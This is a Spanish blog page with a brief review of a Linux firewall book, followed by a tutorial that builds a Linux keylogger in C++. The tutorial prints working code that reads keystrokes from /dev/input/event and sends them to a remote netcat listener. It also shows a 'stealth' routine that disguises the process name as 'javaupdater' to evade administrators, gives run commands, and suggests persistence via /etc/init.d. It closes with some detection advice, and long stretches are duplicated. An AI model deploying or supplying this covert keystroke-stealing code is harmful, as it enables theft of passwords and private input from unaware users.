Linux Firewalls: Attack Detection and Response with iptables, psad, and fwsnort es una obra interesante que trata las posibilidades de configuración de iptables para dotarle de características UTM mediante su integración con firmas de ataque de Snort así como con extensiones concretas de iptables para la correlación de logs y la generación de bloqueo y apertura en tiempo real.
El libro cuenta con multitud de ejemplos reales y trata las configuraciones con gran detalle. No he probado las configuraciones propuestas en laboratorio por lo que no puedo dar fe del nivel de actualidad de las configuraciones propuestas, pero dada la rápida evolución de estas herramientas es de esperar que esta parte del libro vaya perdiendo valor a lo largo de los próximos meses debido a su gradual obsolescencia.
En mi humilde opinión, las herramientas presentadas son útiles a nivel personal o para pequeñas empresas que sólo se puedan permitir opciones open source gratuitas. A un nivel corporativo más serio, me parece que las soluciones propuestas están poco integradas, son de mantenimiento complejo a poco que la red sea más o menos amplia y heterogénea y además hoy en día hay opciones comerciales que superan ampliamente las capacidades presentadas por un coste prácticamente irrisorio para la mayor parte de las empresas.
Sí resulta mucho más jugosa la revisión que hace el autor de diversos ataques de red, explicados con todo lujo de detalle pero de una manera amena y fácilmente comprensible. Aún así, la mayor parte de estos ataques son de dominio público desde hace bastante tiempo por lo que los lectores con cierta experiencia tampoco descubrirán nada nuevo.
En definitiva: un libro correcto pero sólo realmente útil para los que estén dando sus primeros pasos en el mundo de la seguridad.
Un blog sobre desarrollo, seguridad informática, Linux, Unity y frikadas tecnológicas varias.
09 noviembre 2011
Keylogger en Linux
En uno de mis primeros artículos expliqué en qué consistían los keyloggers hardware y sus implicaciones para la seguridad. Estos dispositivos se conectaban entre el puerto del teclado y el cable del mismo y guardaban o reenviaban a un punto de escucha remoto todo aquello que la víctima teclease. La primera conclusión que extrajimos de aquel artículo era la importancia de reforzar la seguridad física de los equipos para evitar el acceso a los mismos de personas que los manipulen en su provecho.
Sin embargo, además de los keylogger hardware existen los software. Estos son programas que se instalan en el ordenador y funcionan de manera oculta al usuario mientras cazan lo que este teclea. En el presente artículo vamos a desarrollar un keylogger para Linux e iremos estudiando los diferentes conceptos en los que estos se basan.
Linux es un sistema de naturaleza abierta. Al ser un sistema operativo desarrollado por voluntarios se busca que sea sencillo y que todos los recursos sean fácilmente accesibles de manera que no se desanime a los que se quieran iniciar en él. Gracias a ello, hay una abundantísima documentación disponible en la red sobre cómo hacer casi cualquier cosa en Linux, a diferencia de "el otro" sistema operativo preponderante en el que parece que todo está enfocado a que compres una licencia de Visual Studio. En ese sentido una de las cosas que sorprenden a los que se adentran en el mundo de Linux es que el interfaz interno hacia los periféricos del ordenador se realiza a través de ficheros de manera que comunicarse con un periférico es tan sencillo como escribir en su correspondiente fichero y leer de él.
Estos ficheros especiales se sitúan en el subdirectorio /dev. En el se pueden encontrar, categorizados en diferentes subcarpetas los ficheros correspondientes al ratón, el joystick, la impresora, los dispositivos usb, etc. En concreto, un teclado PS/2 como el mío se suele encontrar en la carpeta /dev/input en alguno de los ficheros event. En una primera aproximación, si quiere averiguar a través de qué fichero se puede comunicar con el teclado no tiene más que leer con un cat cada uno de los ficheros, por ejemplo:
Una vez lanzado el cat abra una ventana y teclee cualquier cosa, si en la ventana donde tiene el cat comienzan a aparecer carácteres extraños conforme teclea ahí es donde se conecta su teclado. Si no ve nada pruebe a hacer cat sobre el siguiente fichero event. En mi caso concreto, el teclado se encuentra en el event2 y esto es lo que veo al teclear dante en otra ventana:
En el fondo, un keylogger no tiene más que hacer lo mismo que nosotros: localizar el fichero event correcto, conectarse a él para leer, interpretar los códigos que lee convirtiéndolos a carácteres comprensibles para un humano y reenviar los mismos a donde esté escuchando el usuario del keylogger.
Para ilustrar el proceso he programado un pequeño keylogger que busca el dispositivo donde se encuentra el teclado y a partir de ahí captura las pulsaciones y las envía a un PC remoto donde se pueden visualizar. Además, este keylogger servirá para ilustrar una técnica de ocultación de procesos basada en disfrazar el nombre de la aplicación dentro de la tabla de procesos. El código fuente del keylogger se encuentra en mi repositorio de aplicaciones y como podrá comprobar está escrito en C++. El que venga leyendo mis artículos hasta el momento sabrá que prefiero programar en Python pero hay varias razones para cambiar de lenguaje en este caso: por un lado la técnica usada para ocultar el keylogger no se puede utilizar en Python y por otro lado estoy preparando un artículo sobre módulos de kernel troyanos... por lo que no me queda otra opción que ir desempolvando mis conocimientos de programación en C.
Como el código fuente sólo cuenta con dos ficheros (fuente y cabecera), para compilarlo no hace falta más que extraer ambos ficheros en el mismo subdirectorio y hacer:
Con eso se creará un ejecutable que deberá ser lanzado como sudo ya que el acceso de lectura a los archivos que se encuentran en /dev está limitado a administradores. Si se ejecuta keylogger sin parámetros aparecerá una ayuda con las diferentes opciones que tiene. En principio estas son muy sencillas: los parámetros obligatorios son los que especifican la dirección IP y el puerto TCP donde se encuentra el proceso que escuchará los carácteres reenviados (generalmente un netcat en modo escucha) y como parámetros opcionales si se desea establecer la conexión con el proceso de escucha medioante UDP en vez de TCP y si queremos ejecutar el proceso en modo oculto (stealth). Si le decimos a keylogger que queremos conectar, por ejemplo, con el puerto 5000 de la dirección 10.0.0.3 en el PC que tenga dicha dirección deberemos ejecutar un netcat en modo escucha con la siguiente orden:
En cuanto se conecte keylogger desde su respectiva dirección empezaremos a ver el volcado de pulsaciones. Si no disponemos de otro PC desde el que realizar la escucha podemos probar keylogger diciéndole que remita las pulsaciones al localhost (127.0.0.1) y lanzar el netcat desde otra consola.
Por defecto, keylogger escribirá mensajes describiendo su funcionamiento en el fichero de log del sistema donde se ejecute (generalmente /var/log/syslog), pero si le pedimos que active el modo stealth pasará a modo silencioso y dejará de escribir en dicho fichero. Además, en modo stealth keylogger sustituye la orden registrada en el sistema por la cadena que le pasemos de manera que cuando se pida un listado de procesos lo que aparezca sea la cadena falsa en vez del nombre verdadero del programa. Me explico, supongamos que ejecutamos keylogger sin activar el stealth:
Es evidente que si el administrador de la máquina ejecuta un "ps ax" y ve un proceso llamado "keylogger..." se echará las manos a la cabeza alarmado. Sin embargo, si activamos el modo stealth:
Lo que verá el administrador al hacer un "ps ax" será un proceso llamado "javaupdater -d -nogui" por lo que, a no ser que se conozca al dedillo los procesos que deberían ejecutarse en el sistema, le pasará totalmente desapercibido.
Vamos a revisar el código y a explicar su funcionamiento paso a paso.
El programa (en su función main) empieza sacando los parámetros del comando introducido por el usuario a través de la función parse_arguments() (línea 426) la cual fija la mayor parte de las variables globales del sistema (dirección IP y puerto del proceso de escucha, si activamos el modo stealth, etc). Luego se activa el modo stealth (go_stealth(), línea 432) , si este ha sido solicitado por el usuario. La función go_stealth() tiene la siguiente estructura:
Se puede ver que esta función lo primero que hace es borrar el contenido del array de argumentos argv. Esto no supone ningún problema ya que todo lo que podía aportar este array se guardó en la función parse_arguments(). Este borrado se hace con el memset de la línea 100, llenando cada argumento de carácteres null ('\0'). Luego se coge la cadena facilitada por el usuario para falsificar el nombre del programa (stealth_name) y se parte en tokens usando como separadores los espacios entra cada uno de los parámetros (mediante la función strtok() de las líneas 125 y 129). Con cada uno de esos tokens se reescribe el correspondiente argumento del array argv (líneas 127 y 131). Al reescribir por completo el array argv, cuando el administrador ejecute "ps ax" lo que verá es el nuevo contenido. Sin embargo hay que tener en cuenta una serie de condiciones a la hora de utilizar esta técnica de camuflaje:
Sin embargo, además de los keylogger hardware existen los software. Estos son programas que se instalan en el ordenador y funcionan de manera oculta al usuario mientras cazan lo que este teclea. En el presente artículo vamos a desarrollar un keylogger para Linux e iremos estudiando los diferentes conceptos en los que estos se basan.
Linux es un sistema de naturaleza abierta. Al ser un sistema operativo desarrollado por voluntarios se busca que sea sencillo y que todos los recursos sean fácilmente accesibles de manera que no se desanime a los que se quieran iniciar en él. Gracias a ello, hay una abundantísima documentación disponible en la red sobre cómo hacer casi cualquier cosa en Linux, a diferencia de "el otro" sistema operativo preponderante en el que parece que todo está enfocado a que compres una licencia de Visual Studio. En ese sentido una de las cosas que sorprenden a los que se adentran en el mundo de Linux es que el interfaz interno hacia los periféricos del ordenador se realiza a través de ficheros de manera que comunicarse con un periférico es tan sencillo como escribir en su correspondiente fichero y leer de él.
Estos ficheros especiales se sitúan en el subdirectorio /dev. En el se pueden encontrar, categorizados en diferentes subcarpetas los ficheros correspondientes al ratón, el joystick, la impresora, los dispositivos usb, etc. En concreto, un teclado PS/2 como el mío se suele encontrar en la carpeta /dev/input en alguno de los ficheros event. En una primera aproximación, si quiere averiguar a través de qué fichero se puede comunicar con el teclado no tiene más que leer con un cat cada uno de los ficheros, por ejemplo:
$ sudo cat /dev/input/event0
Una vez lanzado el cat abra una ventana y teclee cualquier cosa, si en la ventana donde tiene el cat comienzan a aparecer carácteres extraños conforme teclea ahí es donde se conecta su teclado. Si no ve nada pruebe a hacer cat sobre el siguiente fichero event. En mi caso concreto, el teclado se encuentra en el event2 y esto es lo que veo al teclear dante en otra ventana:
En el fondo, un keylogger no tiene más que hacer lo mismo que nosotros: localizar el fichero event correcto, conectarse a él para leer, interpretar los códigos que lee convirtiéndolos a carácteres comprensibles para un humano y reenviar los mismos a donde esté escuchando el usuario del keylogger.
Para ilustrar el proceso he programado un pequeño keylogger que busca el dispositivo donde se encuentra el teclado y a partir de ahí captura las pulsaciones y las envía a un PC remoto donde se pueden visualizar. Además, este keylogger servirá para ilustrar una técnica de ocultación de procesos basada en disfrazar el nombre de la aplicación dentro de la tabla de procesos. El código fuente del keylogger se encuentra en mi repositorio de aplicaciones y como podrá comprobar está escrito en C++. El que venga leyendo mis artículos hasta el momento sabrá que prefiero programar en Python pero hay varias razones para cambiar de lenguaje en este caso: por un lado la técnica usada para ocultar el keylogger no se puede utilizar en Python y por otro lado estoy preparando un artículo sobre módulos de kernel troyanos... por lo que no me queda otra opción que ir desempolvando mis conocimientos de programación en C.
Como el código fuente sólo cuenta con dos ficheros (fuente y cabecera), para compilarlo no hace falta más que extraer ambos ficheros en el mismo subdirectorio y hacer:
$ g++ keylogger.cpp -o keylogger
Con eso se creará un ejecutable que deberá ser lanzado como sudo ya que el acceso de lectura a los archivos que se encuentran en /dev está limitado a administradores. Si se ejecuta keylogger sin parámetros aparecerá una ayuda con las diferentes opciones que tiene. En principio estas son muy sencillas: los parámetros obligatorios son los que especifican la dirección IP y el puerto TCP donde se encuentra el proceso que escuchará los carácteres reenviados (generalmente un netcat en modo escucha) y como parámetros opcionales si se desea establecer la conexión con el proceso de escucha medioante UDP en vez de TCP y si queremos ejecutar el proceso en modo oculto (stealth). Si le decimos a keylogger que queremos conectar, por ejemplo, con el puerto 5000 de la dirección 10.0.0.3 en el PC que tenga dicha dirección deberemos ejecutar un netcat en modo escucha con la siguiente orden:
$ nc -l 5000
En cuanto se conecte keylogger desde su respectiva dirección empezaremos a ver el volcado de pulsaciones. Si no disponemos de otro PC desde el que realizar la escucha podemos probar keylogger diciéndole que remita las pulsaciones al localhost (127.0.0.1) y lanzar el netcat desde otra consola.
Por defecto, keylogger escribirá mensajes describiendo su funcionamiento en el fichero de log del sistema donde se ejecute (generalmente /var/log/syslog), pero si le pedimos que active el modo stealth pasará a modo silencioso y dejará de escribir en dicho fichero. Además, en modo stealth keylogger sustituye la orden registrada en el sistema por la cadena que le pasemos de manera que cuando se pida un listado de procesos lo que aparezca sea la cadena falsa en vez del nombre verdadero del programa. Me explico, supongamos que ejecutamos keylogger sin activar el stealth:
$ sudo ./keylogger -d 127.0.0.1 -p 5000
Es evidente que si el administrador de la máquina ejecuta un "ps ax" y ve un proceso llamado "keylogger..." se echará las manos a la cabeza alarmado. Sin embargo, si activamos el modo stealth:
$ sudo ./keylogger -s "javaupdater -d -nogui" -d 127.0.0.1 -p 5000
Lo que verá el administrador al hacer un "ps ax" será un proceso llamado "javaupdater -d -nogui" por lo que, a no ser que se conozca al dedillo los procesos que deberían ejecutarse en el sistema, le pasará totalmente desapercibido.
Vamos a revisar el código y a explicar su funcionamiento paso a paso.
El programa (en su función main) empieza sacando los parámetros del comando introducido por el usuario a través de la función parse_arguments() (línea 426) la cual fija la mayor parte de las variables globales del sistema (dirección IP y puerto del proceso de escucha, si activamos el modo stealth, etc). Luego se activa el modo stealth (go_stealth(), línea 432) , si este ha sido solicitado por el usuario. La función go_stealth() tiene la siguiente estructura:
void go_stealth(int &argc, char **argv) { int argv_lengths[argc]; for (int i=0; i<argc; i++) { argv_lengths[i] = strlen(argv[i]); memset(argv[i], '\0', argv_lengths[i]); } int max_argv_length = 16; int maximum_size = strlen(stealth_name.c_str())+1; char * name_to_split = new char[maximum_size]; memset(name_to_split, 0, maximum_size); strcpy(name_to_split, stealth_name.c_str()); char * token = strtok(name_to_split, " "); int argv_index = 0; strncpy(argv[argv_index], token, argv_lengths[argv_index]); argv_index++; while ((token = strtok(NULL, " ")) != NULL) { strncpy(argv[argv_index], token, argv_lengths[argv_index]); argv_index++; if (argv_index >= argc) break; } delete[] name_to_split; }
Se puede ver que esta función lo primero que hace es borrar el contenido del array de argumentos argv. Esto no supone ningún problema ya que todo lo que podía aportar este array se guardó en la función parse_arguments(). Este borrado se hace con el memset de la línea 100, llenando cada argumento de carácteres null ('\0'). Luego se coge la cadena facilitada por el usuario para falsificar el nombre del programa (stealth_name) y se parte en tokens usando como separadores los espacios entra cada uno de los parámetros (mediante la función strtok() de las líneas 125 y 129). Con cada uno de esos tokens se reescribe el correspondiente argumento del array argv (líneas 127 y 131). Al reescribir por completo el array argv, cuando el administrador ejecute "ps ax" lo que verá es el nuevo contenido. Sin embargo hay que tener en cuenta una serie de condiciones a la hora de utilizar esta técnica de camuflaje:
- Cada elemento de argv tiene una longitud fija y determinada por el argumento original. Si argv[0] contenía la cadena "./keylogger" entonces tendrá 11 carácteres de longitud, la cual no podrá ser sobrepasado por la cadena falsa que introduzcamos luego. Por ejemplo, si usásemos: "javaupdater -d -nogui" valdría ya que javaupdater también tiene 11 carácteres mientras que si usásemos "pythonupdater -d -nogui" no nos valdría ya que pythonupdater tiene 13 carácteres y sobrepasaría el espacio disponible en argv[0]. Lo dicho es aplicable al resto de los elementos de argv.
- Si usamos una cadena falsa de menos longitud que el argv correspondiente pueden ocurrir dos cosas: si no hemos borrado previamente el contenido de argv como hemos hecho en keylogger veremos como el contenido nuevo y antiguo se superponen lo que estropearía el camuflaje, por otro lado si lo hubiésemos borrado lo que se percibirían sería una serie de espacios entre el final del correspondiente parámetro y el siguiente lo que también resulta llamativo al examinar la salida de un "ps ax".
- Es natural pensar que creando un nuevo array de cadenas y haciendo que argv apuntase a él se podría evitar esta limitación de longitudes pero las pruebas que he hecho en ese sentido han sido infructuosas y lo que he encontrado buceando por Internet me hace pensar que argv es un tipo especial de puntero que no permite ser redireccionado. Si alguien avanza en este sentido más que yo recibiré con agrado sus comentarios al respecto.
Tras la llamada a go_stealth(), la función main llama a locate_keyboard_device() (línea 438) la cual analiza el sistema para deducir a través de qué fichero /dev/input/event se puede acceder al teclado. Para ello lo que hace es leer el fichero /var/log/udev (referenciado en el programa mediante la variable devices_file, es un fichero de texto por lo que se puede leer con un simple less) que contiene información sobre todos los dispositivos conectados al sistema, cada uno de los cuales cuenta con una entrada en el fichero. Se da la situación de que el teclado activo en el sistema cuenta con la cadena "ID_INPUT_KEYBOARD=1" (variable keyboard_tag) en su registro por lo que sólo tenemos que buscar el registro con dicha cadena y ver a que fichero /dev apunta el registro.
Tras averiguar el dispositivo al que se conecta el teclado hay que averiguar cual es el mapa actual de teclado. Esto se hace en la función load_keymap() (línea 457). El mapa de teclado define el valor asignado a cada tecla. Hay que tener en cuenta que un teclado de 105 teclas puede ser vendido en EEUU, España o Japón y en cada país aunque el signo que esté impreso en cada tecla difiera las señales eléctricas que entrega el teclado son las mismas. Por ejemplo, un teclado puede entregar la señal eléctrica 39 al pulsar una determinada tecla, en España esa tecla se usa para el carácter "Ñ" pero en otro país puede que se use para otro carácter diferente. Es el mapa de teclado el que define qué carácter está asignado a cada tecla. Puede que haya mejores maneras de hacerlo, pero la que yo he utilizado es ejecutar desde mi programa la orden:
$ dumpkeys --keys-only --separate-lines | grep plain
Y volcar el resultado en un fichero. Esta orden muestra información sobre el mapa de teclado activo en el sistema. Luego, load_keymap() procede a leer el fichero resultante línea a línea analizando cada una mediante la función parse_keymap_line() (línea 191). Esta última función analiza cada línea y deduce la asignación tecla-valor a la que hace referencia guardándola en un objeto Keymap (creado por nosotros a partir de la línea 21).
Una vez que tenemos localizado el teclado y aclarado cual es el mapa de teclado, hacemos que el programa pase a modo demonio de manera que siga ejecutándose en segundo plano aunque salgamos de la sesión. El modo demonio es el equivalente Linux de los servicios de Windows. Si quisiéramos que nuestro keylogger se iniciase cada vez que se rebotase el sistema podríamos esconder su orden de arranque en cualquiera de los scripts de inicio de demonios de sistema que se encuentran en /etc/init.d.
La manera de convertir un proceso en demonio no puede ser más sencilla:
pid_t pid = fork(); if (pid < 0) { print("Error while forking."); exit(EXIT_FAILURE); } if (pid > 0) { print("Forking correct"); cout << pid << endl; exit(EXIT_SUCCESS); print("Parent died, child lives."); }
Cuando se llama a fork() (línea 474) se produce una mitosis de nuestro programa, el resultado es que nuestro programa se divide en dos: el padre que es al que hemos llamado y que corre en primer plano y el hijo que corre en segundo plano. ¿Como se puede distinguir a uno de otro?, el hijo tiene la variable pid con valor 0 y el padre la tiene con un valor mayor que cero (en realidad el Process ID de su hijo). Como queremos que el resto del programa transcurra en segundo plano le decimos al padre que muera tras imprimir en pantalla el Process ID del hijo (por si queremos matar al keylogger con un kill -9).
A partir de aquí, estamos corriendo en segundo plano (y si hemos activado el modo stealth figuraremos por un nombre falso en la tabla de procesos). Accederemos al fichero del teclado para leer las pulsaciones de teclado abriéndolo como cualquier otro fichero (línea 502) y después estableceremos un socket contra el equipo de escucha mediante la función connect_to_remote_listener() (línea 513).
Hecho todo lo anterior, ya estaremos en condiciones de entrar en el bucle principal de escucha y reenvío:
Como se puede ver en el código anterior la lectura del fichero /dev/input/event es igual que la de cualquier otro fichero con la peculiaridad de que los datos que se leen de él tienen la forma de una estructura input_event. Los input_event con value y type 1 definen las teclas presionadas, hay otras combinaciones de estos valores para definir los momentos en que las teclas son "soltadas" o "empujadas" (no tengo clara la utilidad de estas casuísticas, sólo me parece útil la de "presión" pero bueno, el caso es que ahí están). Por tanto, cuando se da el caso de una tecla presionada (línea 536), se procede a ver a qué carácter equivale mediante la llamada a system_keymap_getMap() (línea 541). Si la tecla equivale a un carácter sencillo la cadena devuelta tendrá una longitud de 1 (el carácter mismo) pero si es una tecla de función tendrá una longitud mayor por lo que se presentará al usuario de una manera especial (línea 543). Resuelta la equivalencia con el mapa de teclado actual se manda por el socket establecido previamente hacia el proceso de escucha (línea 545).
Se puede probar el programa y ver que su ejecución es bastante limpia y que si se elije una cadena de ocultamiento adecuada será complicado discernir a través de un listado de "ps ax" si es un proceso lícito o no. Otro medio de detección es usando la orden netstat la cual mostrará los sockets establecidos desde la máquina que ejecuta el keylogger con el mundo exterior, si la cadena de ocultamiento no hace referencia a un programa susceptible de usar la red puede ser bastante sospechoso ver que el mismo establece sockets con el exterior sobre todo si la dirección IP de destino y su puerto son un tanto exóticos.
En general, la mejor manera de evitar la instalación de programas como este es evitar el acceso físico de los usuarios a los servidores. Con acceso físico a la máquina, el intruso puede reiniciarla en modo monousuario con lo que el sistema no le pediría la password de root y podría instalar cualquier cosa que desease como por ejemplo este keylogger. Otra manera de prevenir este tipo de aplicaciones intrusivas es limitar el acceso de los servidores internos hacia el exterior mediante los cortafuegos perimetrales a lo estrictamente necesario, de esta manera el intruso vería seriamente mermada su capacidad de remitir las pulsaciones realizadas a un equipo externo bajo su control.
A partir de aquí, estamos corriendo en segundo plano (y si hemos activado el modo stealth figuraremos por un nombre falso en la tabla de procesos). Accederemos al fichero del teclado para leer las pulsaciones de teclado abriéndolo como cualquier otro fichero (línea 502) y después estableceremos un socket contra el equipo de escucha mediante la función connect_to_remote_listener() (línea 513).
Hecho todo lo anterior, ya estaremos en condiciones de entrar en el bucle principal de escucha y reenvío:
struct input_event ev; int ev_size = sizeof(struct input_event); int rd = 0; int value = 0; while (1) { if ((rd = read (kbd, &ev, ev_size)) < ev_size) print("Error reading from device."); value = ev.value; if (value != ' ' && ev.value == 1 && ev.type == 1) { stringstream int2string; int2string << ev.code; print("Logged keystroke: Code[" + int2string.str() +"]\n"); string mapped_keystroke = system_keymap.getMap(ev.code); if (mapped_keystroke.size() > 1) mapped_keystroke = "<" + mapped_keystroke + ">"; print("Mapped keystroke: " + mapped_keystroke + "\n"); send(sockfd, mapped_keystroke.c_str(), mapped_keystroke.size(), 0); } } print("Exiting keylogger."); close(sockfd); return 0;
Como se puede ver en el código anterior la lectura del fichero /dev/input/event es igual que la de cualquier otro fichero con la peculiaridad de que los datos que se leen de él tienen la forma de una estructura input_event. Los input_event con value y type 1 definen las teclas presionadas, hay otras combinaciones de estos valores para definir los momentos en que las teclas son "soltadas" o "empujadas" (no tengo clara la utilidad de estas casuísticas, sólo me parece útil la de "presión" pero bueno, el caso es que ahí están). Por tanto, cuando se da el caso de una tecla presionada (línea 536), se procede a ver a qué carácter equivale mediante la llamada a system_keymap_getMap() (línea 541). Si la tecla equivale a un carácter sencillo la cadena devuelta tendrá una longitud de 1 (el carácter mismo) pero si es una tecla de función tendrá una longitud mayor por lo que se presentará al usuario de una manera especial (línea 543). Resuelta la equivalencia con el mapa de teclado actual se manda por el socket establecido previamente hacia el proceso de escucha (línea 545).
Se puede probar el programa y ver que su ejecución es bastante limpia y que si se elije una cadena de ocultamiento adecuada será complicado discernir a través de un listado de "ps ax" si es un proceso lícito o no. Otro medio de detección es usando la orden netstat la cual mostrará los sockets establecidos desde la máquina que ejecuta el keylogger con el mundo exterior, si la cadena de ocultamiento no hace referencia a un programa susceptible de usar la red puede ser bastante sospechoso ver que el mismo establece sockets con el exterior sobre todo si la dirección IP de destino y su puerto son un tanto exóticos.
En general, la mejor manera de evitar la instalación de programas como este es evitar el acceso físico de los usuarios a los servidores. Con acceso físico a la máquina, el intruso puede reiniciarla en modo monousuario con lo que el sistema no le pediría la password de root y podría instalar cualquier cosa que desease como por ejemplo este keylogger. Otra manera de prevenir este tipo de aplicaciones intrusivas es limitar el acceso de los servidores internos hacia el exterior mediante los cortafuegos perimetrales a lo estrictamente necesario, de esta manera el intruso vería seriamente mermada su capacidad de remitir las pulsaciones realizadas a un equipo externo bajo su control.
Suscribirse a:
Entradas (Atom)